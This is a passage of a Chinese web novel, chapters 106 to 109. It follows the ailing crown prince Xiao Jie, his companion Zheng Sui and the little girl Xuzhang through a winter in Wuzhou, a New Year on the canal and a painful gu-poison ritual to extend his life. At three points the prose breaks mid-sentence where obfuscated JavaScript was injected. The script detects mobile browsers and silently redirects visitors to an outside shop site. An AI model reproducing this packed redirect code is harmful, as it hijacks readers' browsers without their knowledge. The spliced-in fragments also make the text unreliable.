郑绥将信纸折好收进怀中,道:“阿翁给的新药方,让阿耶换药吃。” 不怪萧恒悬心,自他们出宫至今已有一年之久。 萧玠已经十九岁了。 106.第 106 章 天气渐寒,多少得置办冬衣。两个人先紧着孩子,买了棉袄斗篷,和厚厚实实能盖住小脸的棉帽。萧玠给旭章渥好汤婆,见她颈间玉佩掉出来,又帮她合入衣中,问:“这边有卖皮毛的么?” 郑绥道:“我今日去问,现货都售空了,要到手怎么也得下个月。我明天进山瞧瞧,估摸得再过一日回来。明日你带太阳去芙蓉楼吃吧,之前闻见人家焖酱方,她馋得很。”又道:“那家素面点心做得也好。” 萧玠道:“这么冷的天,只怕路都上了冻,穿棉子就成。” 郑绥仍坚持:“又不麻烦。这两日冷得紧,别出门了。药千万按时吃,你晚吃那一次,咳到半夜。万一有什么,谁看着太阳?” 萧玠笑道:“你如今好罗唣,跟我爹似的。” 郑绥道:“那就当可怜我,我总得给你爹全须全尾地带回人去。” 萧玠态度有所松动,犹问:“你这一段不用往外去吗?别耽误正事。” 郑绥也晓得他有所察觉,笑道:“你们两个才是如今的正事。一切都好,你安心就是。” 因为旭章睡觉,屋里就点了一支蜡烛。女孩盖着棉被,把自己蜷成一团缩在萧玠怀里。萧玠半个身子躺在床上,轻轻拍打她,心里突然浮出萧恒和秦灼的脸。 养子方知父母恩,是如此了。 这一年来,他不是没动过再去南秦的心思,但听闻秦寄那边物议纷纷,自己这时候去,不合适。 他没说话,郑绥轻轻叫他:“明长。” 萧玠扭过头,等他说什么话,但郑绥只吹了蜡烛,往自己靠门的那张床边走去。 一片黑暗里,萧玠听见他脱鞋解衣的声音,同时还有他的叮嘱声:“明日我早走,早晨的粥煮下,你们热热再吃。睡吧。” *** 萧玠睡觉浅,听见郑绥动作时天还黑着。 似乎是放置东西的轻响,萧玠又隐约闻见股饭香,就要披衣起身,被人走来按了按肩。萧玠没能从枕上起来,便抓了抓他手腕,问:“吃了么?” 他还有些困怠,带着点鼻音,便听那人道:“吃了,我赶早,你们睡。”又道:“外头下雪了,中午出门穿厚实。” 他似乎从枕边放下什么东西,道:“迷香我给你留下,你收好,别叫太阳碰着。” 萧玠应一声,还是想起来,但叫他一直按在枕上,脑袋又犯迷糊。他们两个说话到底吵醒了旭章,小姑娘从萧玠衣襟里抬起脸,连眼都没睁开,迷迷糊糊叫:“爹。” 郑绥给她掖被,轻轻道:“爹走了。” 旭章又把脑袋缩回萧玠胸前,嘟哝:“爹多穿衣。” 郑绥松开按着萧玠的手,将他胳膊放回被中,从桌上捉了斗笠,提剑开门出去。一瞬间的寒风呼啸涌入门后,又是一片安静。 萧玠如今很容易困怠,再睡更沉,睁眼已然天光大亮。 这一段醒来,他胸口总闷痛得厉害,脑仁也疼,拿薄荷油按头穴才稍作缓解。他下意识去枕边摸,先摸着一只荷包,才想起模模糊糊听得郑绥说留下迷香。 郑绥不敢给他留武器,一是怕他自己恍惚,二是萧玠不通武艺,如有万一,留下利器反而授人以柄。他便把军中常用的一种迷药调和之后制成香粉,教萧玠抓一把在手,冲脸一扔,或藏在指甲缝里,抓破人皮肤也使得。 萧玠将荷包收好,起身见桌上的冬菇笋丝粥已冷,糕点也已经发硬。筷子下压了字条,叫萧玠放上蒸屉再热一热,记得吃药。萧玠转头,看向郑绥那张床。 说床也算不得,就是一张容易拆卸的行军榻,只能容纳一人身量,但好在结实。屋里只有这么一张床,郑绥便让他们两个睡,自己守着门,说但凡有风吹草动也能及时应付。 这么一睡就是一年。 今日天寒,萧玠没有开窗。天色昏暗,却有落英般的光影纷纷滚落,是雪犹下着。 旭章觉长,还没醒,萧玠便去蒸屉上热粥点,又将昨日的书具收拾好。一时没有事情做,便从郑绥床边坐下,自己也不知道在想什么。看见他叠好的被,想是这人大早起来,先穿衣叠被,备好进山所用,再烧火做饭、留下字条,这么一个人冒雪进山。 萧玠心中涌起一股奇怪的滋味,说酸不是,说甜不是,说苦更不是。幸而旭章打断了他着缥缈神思,揉揉眼睛叫阿耶,萧玠一下子回神,拿过棉袄给她穿上前,被小姑娘两条胳膊圈住脖子,就这么挂在身上。 *** 郑绥赶在第二天日落之前重回镇上。 山路还是叫冰封了,但对行伍之人算不得什么,只是料理猎物花了功夫。他先脱下皮毛,送去缝衣,又把肉切条割好,准备腌了卖掉,买点干粮回来。 一进镇子,郑绥就下了马背。天边仍零星飘着雪花,路上行人少,都裹紧棉衣快步赶路。远远地,他和阿鹃爹打了照面,还没来得及打招呼,那汉子已急声喊道:“唉哟郑郎,你快家去瞧瞧,你兄弟不好了!” 一瞬间像有一只手掐住郑绥咽喉,他翻身上面浑似叫那只手甩到马背上,也顾不得什么惊扰邻里,挥鞭打马飞奔而去。 赶回家里,郑绥见床前围坐不少人,还是旭章先看见他,哭着喊爹。他忙把女儿抱在怀里,街坊们也忙把床前让出来。孙阿婆道:“今天早晨小囡哭着来敲我家门,说阿耶栽倒了,大伙守到现在,还请了刘神医来看……” 她叹气,低声道:“怎么病得这么重的?你也别怪老婆子嘴臭,咱们叫了好几个郎中,都说……” 郑绥打断:“多谢阿婆,他中间有没有醒来过。” 孙阿婆叹道:“没有。” “也没嘟囔什么,没有半点要醒的迹象吗?” 孙阿婆还是摇头。 郑绥点点头,向众人欠身致意,“多谢大伙帮忙,如此恩情郑宁之虽死犹报。天也不早了,大伙先回去吧。等他好些,我定登门致谢。” 街坊们都是热心肠,临走前叮嘱许多,这一会几个娘子已经把粥饭煮好,还拿了些自家的酱菜过来,叫他别忘了照顾旭章,刘郎中临走还放下几包药。 郑绥摸萧玠颈窝,没有发烫,心就凉了一截,又给他搭脉,浑身都抖了一下。 脉息绵软,如同婴儿,更重要的是,肺器已经不成了。 大限将至。 郑绥熬好药喂他吃,灌不进,只得捏住他脸颊嘴对嘴喂进去,如此仍是吐的多进的少。萧玠手掌从他手中脱落,软软垂下,像个死人的手。 郑绥把他手掖入被中,整张脸埋在两只掌心,有一下没一下抽着气。旭章抱着他小腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671874|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭道:“阿耶怎么不醒呀?” 郑绥强打精神,给她擦脸,说:“阿耶太累了,多睡会儿。你先吃饭,阿耶醒来见太阳把饭都吃光了,病就好了。” 他守在床前,喂旭章吃完米粥,自己也迅速喝了两碗,把这一年收罗的医书药经都搬出来,就着火察看。旭章也一会跑来一会跑去,把什么揣进怀里,坐回床底的小凳子上。 郑绥问:“乖乖,你做什么?” 旭章道:“暖着饭团儿,阿耶醒了吃。” 郑绥一看,她把两个没吃完的冬菇饭团裹在胸口,小脸靠在床沿,就这么守着萧玠。郑绥摸了摸她的脸,加紧翻起来。 将近年关,马上就到奉皇二十年,萧玠就要整二十岁。皇帝告诉他,太医诊断萧玠弱冠之年即为大限之事,并非传言。 皇帝这十多年倾力求药,依旧不得延寿之法,更别说他这半吊子郎中。 郑绥不敢再想,怕想下去要灰心,攥了把脸,要继续看,便觉膝边簌簌动起来,想是旭章睡着,这么窝得脖子难受。 不对,不是旭章。旭章在床尾,这动静在床头。 郑绥猝然抬头,见萧玠已经撑枕坐起,将外衣盖到倚床打盹的旭章身上,也这么静静看他。 郑绥一条手臂一下子撑到他身边,萧玠嘘了一声,指了指旭章。郑绥便将女儿抱到自己那张行军榻上,快步从床边坐下,重重喘着粗气,说不出一句话。 萧玠笑了笑:“吓坏了吧。” 他握了握郑绥的手,被郑绥两只手掌紧紧包住。他看着郑绥坐在他面前,像一堆风蚀的黄沙,渐渐矮小下去。郑绥缩着脖颈躬起脊背,垂头无声地颤抖。 萧玠叹口气,靠上前去,另一只手抱住他后背,哄旭章似的轻轻拍打他,道:“这一天咱们都有预料的。” 郑绥抱紧他,道:“我找药。” 萧玠道:“阿爹不都给了你新方子么。” 郑绥道:“我再找别的药。” 萧玠好一会没有出声。冬夜寂寂,他们静静依靠,像能从对方身上汲取力量。这是很长一段时间之前和之后,他们最像情人的拥抱,面临的却是碧落黄泉的生死和离别。 萧玠脸伏在郑绥肩头,这么抱了他好一会,轻轻道:“快到年了,咱们家去吧。” 郑绥默了一会,问:“还去南边吗?” 萧玠道:“不了,白发人送黑发人,他受不了的。” 又道:“等我身后,你带旭章回去一趟,给他磕个头。如果可以,让囡囡陪他一段时间。” 郑绥应道:“好。” 萧玠叫:“绥郎。” 郑绥心中一震,等他再嘱咐,感觉萧玠脸抵在自己颈窝,道:“你抱紧我。” 郑绥深吸口气,两条臂膀紧紧搂住他。萧玠抱紧他后背,那串佛珠顺着腕骨滚到小臂,像一个人掉进地狱。他想如果真有阿鼻地狱,那他下地狱前或许会见到那些死去的人。好多人。柳州城被挖心般流着血,焚膏升起的滚滚浓烟后,尽是惨叫谩骂之声。沈娑婆的弦音犹在耳畔,虞闻道的血似乎还黏在脸上,他们的肉身早已朽作枯骨了。 如果下地狱能消解罪孽,那就下吧。 逝者会面可期,那现在,他得好好珍重活着的人,好好跟他们告个别。 107.第 107 章 翌日,萧玠重新摆好书摊,说三人要回家过年,临别无礼可赠,这两日若有字写,都不要钱。街坊们一拥而上,一面关切他的病症,一面臊臊答答地请他写字,大多都是春联,喜气洋洋的吉祥话,盼望来岁,盼望新春,盼望下一个丰收美满的好年景。 萧玠执意不收钱,大伙便送些年货。你家送春卷,我家送馄饨,还有条头糕、赤豆糕、枣花酥、粽子糖,阿鹃几个姐妹一块给旭章织了小帽,暖和又服帖。 萧玠穿一件半新的大红斗篷立在雪里,衬得脸色都有些红润。清清正等他最后一篇《三字经》,笑道:“哎,怪不得黄梅阿姊说,阮郎一站,就跟年画似的。要是能铰回去贴窗上就好了。” 阿鹃搓着手陪她等,笑道:“你铰阮郎回去,那不得当菩萨供着?还是跟我去南街,画张太子像贴门吧!” 萧玠边写字,边同她们闲谈,“吴州信奉什么太子吗?” 阿鹃抿嘴笑道:“什么太子?当朝太子!我家已经贴好了,阮郎,要不给你捎一张来?旭章到底小,请来太子镇宅,什么小鬼都冲撞不了她。” 萧玠一愣,“这是什么说法?” 阿鹃道:“还不是太子杀了那起子作奸犯科的厉害!天爷哟,半个柳州,真有魄力!书里那些捧尚方剑的都不敢这么杀,要我说,比包青天的虎头铡还利索呢。之前我爹天天念,太子是个病秧子,六哥的江山交他手里大无望了,去年杀完柳州,他就变脸了,就成了龙生龙凤生凤——” 清清抢道:“六哥生了个孙大圣!” 两个女孩笑闹一会,看萧玠,问:“阮郎手冻僵了么?怎么停了?” 萧玠笑道:“有些麻,不妨事。”又问:“太子这样杀人,你们不恨他、怕他么?” 阿鹃响亮道:“他杀的好!要我说柳州那起子黑心王八,全切碎下酒也不解恨。卖人家好好的闺女,黑膏黑作坊,害得多少人家破人亡?我有个出服的叔叔,沾上黑疙瘩,败尽家财不说,把老婆孩子都卖进那丧天良的神楼鬼楼里去了。若没有太子整治,他们又要害死多少好儿好女?这样青天仗义的好殿下,咱们做什么怕他?” 清清道:“我表姐就是从潮州给拐了,差一天就要送进京了。要不是六哥他们爷两个,不知道得作践成什么样子。依我瞧,那些状告太子的都是没心肝的,说不定就是他们搜罗姑娘要祸害呢!” 冬风里,两个姑娘讲得热血沸腾,恨不得化成书中戏里的侠女,也将那些恶人罪人狠狠惩治一番。再看萧玠时,清清呀一声:“阮郎,剩下的我不要了,你快别写了,累得手都抖了。” 萧玠握住手腕,笑了笑:“有点冷,不妨事。” 阿鹃笑道:“听说咱们镇上除了认字儿的学堂,供孩子们读书的学塾明年也要开了。等阮郎过完年回来,不如去当个先生,总比冷天门口写字好。” 清清眼睛一亮,“真的?”又想起什么,叹口气:“可咱们也不算孩子。” 阿鹃笑道:“虽说是给孩子开,但听孙阿婆讲,任谁都能跟着听,安安分分别作动静就行。” 萧玠也笑道:“这是好事,女孩做学问未必比男人差,咱们朝中的崔刺史,和一群男人同台科考,就是榜上的头名。越是女孩儿,越要识字。” 正说笑着,萧玠便见有三三五五的队伍往这边来。领头的是个圆脸圆肚的中年男人,穿件锦面棉袍,围着皮毛领子,笑呵呵地对两个姑娘:“也来写《三字经》?” 萧玠冲他拱拱手,“大冷天,里正怎么来了?” 里正笑道:“镇上的戒膏衙门要开了,缺块匾额。这不,我一下子就想起阮郎,特来求字儿。不白写啊,你开价,我出钱。” 萧玠道:“既是公差,岂有收钱的道理。” “就因为是公差。我要是让你白写这个字,上头查下来,不摘我脑袋也得摘帽子。”里正绞尽脑汁,“写个啥呢?” 清清问:“要么就写回头是岸?”又忙道:“我浑说的。” 里正哈哈笑道:“就写回头是岸!浑说就说得这么好,跟你爹说,必须叫你去念书。咱们镇上啥都不缺,就缺一个女状元!” 说笑声里,萧玠把两张小桌拼起来,边铺纸边问:“咱们镇上膏客多么?” 提起这些人,里正一脸嫌恶,“多么?咱们吴州挨着运河,那些阿芙蓉的糕点药丸全跟着船漂下来了,卖老婆孩子的,打亲爹亲娘的,哪有个人样?” 他又叹口气:“要说太子这打膏戒膏,真是功德无量。柳州端掉的信传出来,咱们镇就放了两天的鞭炮——哦对,阮郎,这不还得麻烦你另写个字儿,我出钱,就写‘如日如月’,乡亲们商量好了,单做块好匾,看看能不能献到东宫里去。” 萧玠问:“给太子?” 里正以为他疑心,解释道:“从前太子参政效仿过古人,广开言路,专门叫东宫官吏向民间纳状,咱们送个匾也能交过去吧。” 阿鹃笑道:“有六哥,又有咱们这位殿下,真是咱们老百姓的福气。” 里正叹道:“只是太子身子骨不好,小小年纪又遭了这么多罪。他要是有个万一,六哥之后,咱们的天又要黑了——阮郎,别愣了,快写快写。晓得你不吃荤腥,写完我请客,咱们到芙蓉楼吃素席去,你家的和孩子都带上。” 里正和两个女孩的声犹在耳边,但像隔了层纸,不那么真切了。萧玠两只耳朵只响着里正之前的话音: 如日如月。 你的恩泽如日月一般广袤,愿你的福寿,也像日月一般永恒。 萧玠的笑容有些僵,抬起手,还是颤抖。他深吸口气落笔,两个姑娘也凑头上前,见日光照耀处,走出一个灿灿生辉的“回头”。 *** 当夜吃完饭,旭章嘴上沾着饭黏子,拉着萧玠袍袖,小声问他是不是要搬家。郑绥已经在收拾箱笼,闻言道:“咱们家去过年,太阳不是想阿翁阿婆了么?” 旭章小小地哇一声,又嘟囔:“但我还没待够,那个楼里的小花糖糕,我还没有吃到。” 郑绥笑道:“就知道吃,明天给你买着。” 旭章开心地欢呼一下,赶紧说:“要买三个,爹和阿耶都要吃的。” 郑绥笑应一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等他将旭章的小手轻轻摘开,郑绥已经轻手轻脚地回来。冬夜太冷,他这么一副铜筋铁肋,竟也冻得眼鼻通红。两人静静看了片刻,竟是郑绥先转过头,背部稍微矮下去,继续整理萧玠的书具。 萧玠看了他一会,叫:“绥郎。” 郑绥动作一停。 萧玠道:“我有一个活下去的办法。” 一息寂静。 在郑绥逐渐急促的呼吸里,他似乎下定什么决心,说了四个字:“蛊毒长生。” 郑绥浑身一震,“时时刻刻,千刀万剐?” 萧玠颔首。 郑绥没说话,一只手摸索着桌子,让身体不至于跌落,缓缓坐到凳上。 让萧玠死,还是让萧玠生不如死。 这是他们必须做出的决定。 萧玠叹口气,从床前站起,走到郑绥面前缓缓蹲下。他握住郑绥手指,继而是整个手掌,慢慢、轻轻地,一个一个捏着郑绥指节。 “早前没跟你说,是没打算用。陛下都没动过这念头,我怕疼,他觉得我受不住。有了柳州和上巳节的事,我本来也没什么心力了。我杀孽太重,我觉得,这是我罪有应得。” 萧玠顿一顿,道:“但这一年见了这么多人,他们让我知道,我做了孽,但我没有做错。我还能为他们做些什么。” 他握紧那双手,抬头凝视郑绥,用那样明亮热切的眼神。 萧玠道:“我不想死。绥郎,我求你,救救我。” 108.第 108 章 哪怕在旭章的儿时记忆里,也有一个印象深刻的新年。 前几日原说要回家过年,两个大人又变了卦,说还是在吴州过年。旭章半是开心半是失落,开心是能继续在吴州待一段时间。她喜欢吴州,有清清的河水、胖胖的菱角、甜甜的条头糕,更有热心的阿婆和柔声细语的阿姊们。但这也意味着,又要推迟回家的时间。 她不大记得阿翁阿婆,但听说他们很想念旭章,经常有衣服鞋子寄来。还有素未谋面的阿耶的爹,她对这位阿翁一直保持好奇。 “他会抱抱太阳吗?”旭章窝在阿耶怀里,细声细气问,“他会喜欢太阳吗?” 阿耶正哄她睡觉,温柔笑道:“他会抱抱太阳,他会和阿耶一样喜欢太阳。” 旭章小声说:“那我们今年不回家吗?” 爹正给他们放床帐,刚放完一面,手从帘钩摘下另一面帐子,笑道:“今年过年,咱们到运河上看烟花去。你不是想放花灯么?爹连东西都买好了,明天给咱们太阳扎花灯。现在,太阳娘子能好好睡觉了吗?我数三声,三声之后不闭眼,我明天就去把那些绢布退了。一——” 旭章忙紧紧闭上眼睛,抓住阿耶衣襟睡觉。她听见阿耶用气声笑一下,像拍打婴儿一样轻轻拍打她。 第二天起来,果然见爹坐在院子里削竹篾,脚边摆两只小竹筐,里面是五颜六色的绢布,还有一些磨得闪亮的贝壳。 爹见她,先笑问:“吃过饭了吗?你瞧阿耶吃完药了吗?” 旭章耸耸鼻子,“爹拿阿耶当小孩,阿耶是大人,会吃药。” 爹笑着轻轻一拧她的脸,道:“你挑挑,想做什么样的,想要什么颜色?” 旭章便蹲下来,从篮子里慢慢翻。这时一只手从她身边伸过来,拿出一块红绫布,笑问:“这是人家唱戏里新妇的盖头,你怎么买回家了?” 爹一愣,拿在手里看一遍,失笑道:“我哪里知道,大抵是给我放错了。这能扎灯么?” 阿耶蹲在一旁,他这几日很怕冷,两手紧了紧领口,道:“大红灯笼,你这样挂着,还以为咱家娶媳妇呢。” 爹笑了笑,将那条喜帕另放到一旁。旭章翻出一块水红绢布,道:“要荷花,要夏天摘回家的那瓶红荷花!” 爹笑应道:“好,给太阳扎荷花。” 阿耶看了一会,道:“我也要。” 爹问:“你要什么样子?” 阿耶笑道:“等你扎顺手,随便给我做一盏就成。多年不玩灯了,今年倒有些想。” 爹也笑道:“好,专门给你做。” 有了花灯,旭章也忘了缠回家过年的事。除夕当天,爹和阿耶起了大早。爹蒸了一锅大枣窝窝,一锅素包子,是甘荀云耳鸡蛋馅的,拌了一早封好的小茴香苗,喧乎香热,包子皮被内馅浸出金黄的油花,旭章自己就吃了一整个。阿耶新剪了窗花、写了春联,熬好浆糊贴在门口窗上,连那张稀奇古怪的太子像也贴上了门。 临出门,爹指着画像,问旭章:“太阳看看,像阿耶不?” 旭章大受震惊,极其惊恐地看她爹。 她爹又问:“如果阿耶长成这样,你还要阿耶吗?” 旭章扁扁嘴,一下子抱住阿耶的腿,就要掉泪珠。她阿耶忙叱道:“大过年的,别逗弄她,一会真要哭。” 她爹一面笑着,一面张开手臂抱住她哄,叫她骑在脖子上,提着红荷花灯笼出门。 这几天冷得紧,幸而爹给做的皮毛衣裳暖和。拿回衣裳那天旭章午睡刚醒,还没叫人,便听两个大人在帐外低声说话。 爹说,跟宫里的肯定不能比,你将就穿吧。 阿耶道,宫里哪有这个好。阿耶抚摸那件白狐狸大氅,说,你自己呢? 爹笑,哪有那么合适的?这么冷,撞见两条狐狸已是大运。倒也见了狼,只是狼皮硬,我又怕引来狼群,不找那些麻烦。下次天气好些,再能遇见狼,倒可以打一条,给你做靴子外皮,踩雪也浸不透。 阿耶说,少杀生吧。他说完,又迅速道,我不是怪你,我……这些年我心里…… 爹忙安抚他,说我知道,我都知道。又问,你试试么? 阿耶道,我换身干净衣裳,沾了墨,再把皮子弄脏了。 爹似乎按住他,笑道,折腾什么,再冻着染了风寒,得不偿失的。 又是窸窸窣窣的响动,阿耶系好那件白狐狸大氅,笑道,好暖和——好看么? 爹有一会没讲话,后来才说,好看。 今年过年,旭章才头一次见阿耶穿这氅衣,雪白皮毛和阿耶肤色极其相衬,竟显得脸庞红润许多。 太好看了,旭章穿着她的红狐狸斗篷、叫爹驮在肩头时想,果然得是阿耶穿这衣裳。 运河不曾上冻,年夜泛舟的竟不在少数,远远望去,片片舟船宛如盏盏浮灯。只是河上冷,爹便暖了两个炉子,又给阿耶找了手炉。爹出去一会,便变戏法似的提回来酒菜,除旭章爱吃的蜜汁火方外,一应是素菜。爹又拿出酒壶,摸出两个酒盅。 船里暖和起来,阿耶却不曾解氅衣,见爹要倒酒,忙道:“我不吃酒。” 爹笑道:“专门买的素酒,和尚女尼都吃得。我专门问过,是拿果子酿的,你以后要持素,吃这种也使得。” 如此,阿耶便不再推拒,两人吃那一壶。旭章吵嚷着要尝,爹便道:“不好吃。” 旭章靠住阿耶,“不好吃爹和阿耶做什么一口又一口,就要吃。” 阿耶笑道:“你越不叫她尝,她越惦念。吃了也就了了。”便叫她在盏中呷一小口。不仅无甚水果清甜,还有一股苦意。旭章吐了吐舌头,再不肯吃了。 小孩子玩心重,从舱里待不住,旭章便去放花灯。但瞧见两个大人静静对饮的样子,突然觉得不该搅扰,也没有说话,只从船头坐着。爹打好的花灯都齐齐整整地置在筐里,旭章拿一朵在手,未燃蜡烛的花灯颜色黯淡,像将要谢落枝头。 她隐约听得阿耶说:“……她睡下……院里去。” 爹却不甚赞同:“院里太冷……单衣……受不住。” 最后是阿耶退了步,点了点头。 大人居然也有秘密,旭章有些好奇,但没等继续偷听,爹已经出了舱,顺带扶阿耶到船头,笑着对她说:“还以为你忍不住,早要吵闹着放灯了。” 阿耶笑道:“我们太阳是大姑娘了,早就过了为玩意闹脾气的时候。” 旭章小人大量,不同两个大人计较。爹给她点好蜡烛,拉着她的手将花灯放在河上。看灯渐渐泊远,像载着一个祝愿。旭章忙扣住双手,闭眼许愿。 如果她睁开眼睛,会看到站在身后的阿耶略有异样。等她十三岁那年,会听到一个有关姑姑阿皎的美丽故事,会知道在此之前,阿耶放的每一盏河灯只与月亮有关。 小孩子许愿,大多只会许眼前吃穿,三岁那年的花灯装着的到底是甘荀大包子还是红豆糯米糕,旭章已经记不清楚。但她记得回头时,爹从竹筐底下拿出一盏兔子灯递到阿耶面前,阿耶有些惊讶,问:“给我的?” 爹笑:“第一回做,粗陋得很,别嫌弃。” 或许船头太冷,阿耶手指都有些发抖,握住竹柄将灯提在手中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675353|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,方绽开笑容,道:“多谢,我很喜欢。” 这时候,旭章在船头欢呼:“烟花!” 爹将她抱起来,高高扛过头顶,让那脸盆大的烟花变成水缸大。五彩缤纷的光影洒落,身上都觉得暖洋洋的。旭章看到阿耶笑起来,笑得比之前任何一次都好看。 那也是旭章第一次留心爹的眼神,在望向阿耶的时候,总有一些说不清道不明的东西,似乎为他的开心而开心。但旭章看着爹的脸,总有些心里发酸。 很多年后阿耶同她讲起这个新年,她讶然自己儿时记忆的碎片在阿耶那里,居然是漫长到有些永恒意味的画卷,也讶然她这位毫无血缘联系的父亲,竟和当时的她一样,幸福且迟钝。 在旭章六岁之前,守岁总是在瞌睡里度过。她叫阿耶抱在怀里,手炉暖着脸,模糊听阿耶讲:“回吧。” 爹似乎应了一声,便觉船儿轻轻摇动,哗哗水声宛如摇篮之曲,不一会她就在阿耶的怀抱里沉入梦乡,等再醒来已经到了家里床上。 旭章睡时习惯叫阿耶抱,一摸身边没有,就要喊人。在她开口前,听到爹刻意压低的声音:“开始么?” 阿耶道:“开始罢。” 旭章揉了揉眼,发现爹竟忘了给她放床帐。爹今天有事,心乱了。 她支起脑袋,见阿耶背着她坐,将氅衣解下,又松开袍子,露出一条手臂。爹面向她立着,却全然没发觉她醒来。他手边摆着一只筐子,从里面拿出一只小罐,然后拔出腰间小刀,擒住阿耶手腕,沿经络从下到上竖着划下一刀。 旭章捂住嘴巴,眼泪一下子掉下来。她想哭,却莫名感觉大人此时不能受打扰,只缩在被子里睁大眼睛。 鲜血沿阿耶手臂涌出,染红爹攥紧他手腕的手指。他们也不止血,似乎在等待什么。等血流的少了,爹才要启那只小罐。第一下没能掀开盖子,他的手太抖了。 打开罐子后,旭章看到,一条青色虫子沿灌身蠕动而下,沿血迹爬上阿耶手臂。 那虫子太长,几乎像蛇,旭章看到它像挤进门缝一样,挤进阿耶的伤口。一瞬间,阿耶几乎要从凳子上弹起来,手腕却被爹焊死般牢牢钳在桌上。等那条虫完全钻进阿耶手臂,爹立即走上前,又打开另一只细长瓶,但他身体遮挡住,旭章再看不到什么。她只能听到。听到桌椅微晃,听到粗重鼻息,听到树木被虫蛀的声音。她意识到那声音来自阿耶的手臂。 不知多久,爹终于放松,她只看到阿耶的身体像一株枯萎的树,缓缓缩到地上,那条手臂也像衰败的枝条一样随之落下。 那手臂已经肿胀起来,伤口居然凝血,血居然是近乎黑的紫色。 他一倒,爹抱着他的肩膀也跪下来。阿耶的呼吸哆哆嗦嗦,感觉很疼,却未发一声。 爹疾声道:“别咬嘴,咬了舌头!张嘴!” 阿耶似乎痛得没有神智,只能依他的话照做。 爹迅速把自己的手送到他嘴里,另一只手紧紧抱着他,低声道:“成了,殿下,咱们成了。你能陪着陛下,能陪着太阳长大了。” 阿耶整张脸抵在他肩头,被那只手堵住的闷哼一阵强过一阵。爹跪坐在地上,空出的另一只手捋他的脊梁骨。 不知过了多久,阿耶没了动静,爹将他抱起来,往床边走。 旭章忙缩进被子,装作熟睡。感觉爹给阿耶脱鞋盖被后,又在床边坐了很久。 这天晚上,旭章听见爹哭了,比以后任何一次都清晰,清晰到她甚至以为是个梦。 如果不是梦,这样压抑、几乎吞进肚里的哭声,为什么被她听得这么清楚? 109.第 109 章 那个夜晚对阿耶的生命起到多么巨大的转折作用,三岁的旭章尚且不得而知。但她敏锐察觉,自己的生活发生了一些变化。 阿耶好久没有写字,爹也不再频繁出门卖货种地,长时间待在家里,跟阿耶的争执也多起来。一次阿耶没忍住,用了冷水沐浴,爹便发了好大的脾气——爹发脾气的方式,就是把冷水倒掉,三天不和阿耶讲一句话。 一个傍晚,爹烧锅做饭,先蒸米糕,又下馎饦。阿耶踱进来,看看锅碗瓢盆,问:“我帮你些什么?” 爹挼好馎饦浸在水里,又去切胡荽,边说:“不用。” 阿耶有些讷讷,然并未气馁,继续问:“我帮你烧汤么?” 爹还是道:“不用。” 阿耶看了一会,轻轻叫:“绥郎。” ——旭章察觉,他每每这样称呼爹,爹的言行都要再软和几分。 果然,爹身形一顿。 阿耶说:“你别和我置气了,我错了。我和你说话,感觉肚子里都有刀片绞,我真的好疼。” 爹回头看阿耶,鼻息又重了几分,神情却明显缓和了。旭章晓得,他定是见阿耶红眼圈了。 再次果然,爹就要上手给他擦脸,想起一手面粉作罢,道:“先回去躺着罢,吃饭我叫你,旭章。” 阿耶忙道:“别叫她,让她玩吧,她心细,这几天只怕担惊受怕。我躺着更是痛。” 爹问:“怎么缓和些?” 阿耶摇头笑笑:“汤沸了,你忙活吧。等我好些,再去写字。” 爹道:“不差那几个钱。” 爹和阿耶和好的当夜,家里那张床拥挤起来。旭章见爹将铺盖从行军榻搬到这边,小声欢呼:“爹和我们一块睡吗?” 爹笑了笑,点头应声。 旭章把自己的小褥子往里拽了拽,正好在两个大人中间,道:“好呀,阿耶身上太冷了,我暖不过来。爹比我热,爹暖暖他。” 爹没接这话,阿耶也没说什么。只是这个新年来,给旭章将睡前故事的变成爹,阿耶靠着枕在一旁笑,旭章见他发根已经湿透,知道他在强打精神。 爹说阿耶要好了,但旭章却觉得,阿耶似乎比从前病得更重。有次半夜醒来,她见阿耶撑在床头呕吐,爹赤脚披衣坐在他身旁,一手给他揉胃,一手将脸盆上的热手巾取过来。有次是爹拉着他的手,似乎在按揉什么穴道,爹轻声问:“好受些吗?”阿耶似乎没什么力气,紧闭的双唇间挤出很轻的一声,也不知是应还是不应。 阿耶消瘦下去,连爹也瘦了一圈。一天旭章听爹道:“要么我弄些五净肉来,多少要吃些。” 阿耶还是摇头。 爹说:“我这么带你回去,你爹不得要我的命。” 阿耶道:“我爹不会。” 爹笑了笑,说:“你会。” 他们两个沉默一会,都没有继续这个话题。 爹又问:“晚上吃什么?” 阿耶说:“能做些甜的么?嘴里没味道。我尽量不吐了。” 爹叹口气:“吃不下不要勉强,吐又要伤胃。” 当晚吃了甜丝丝的枣泥糕。 为了阿耶养病,他们又在吴州住了一年。这一年里,认字的学塾开了起来,戒膏衙门也火火热热。春暖花开后,阿耶也偶尔去门前写字,但摊子要爹帮忙支好,一天也写不多,起初最多十张。 邻里纷纷关心他的病情,怕爹辛苦,中午晚上也会捎些饭菜过来,只说大人不吃孩子也要吃。这一年,旭章吃遍了街坊们的拿手菜,孙阿婆的糖水蛋,油坊阿婶的赤豆糊,阿鹃阿姊晓得阿耶不吃荤,便常送些赛螃蟹。 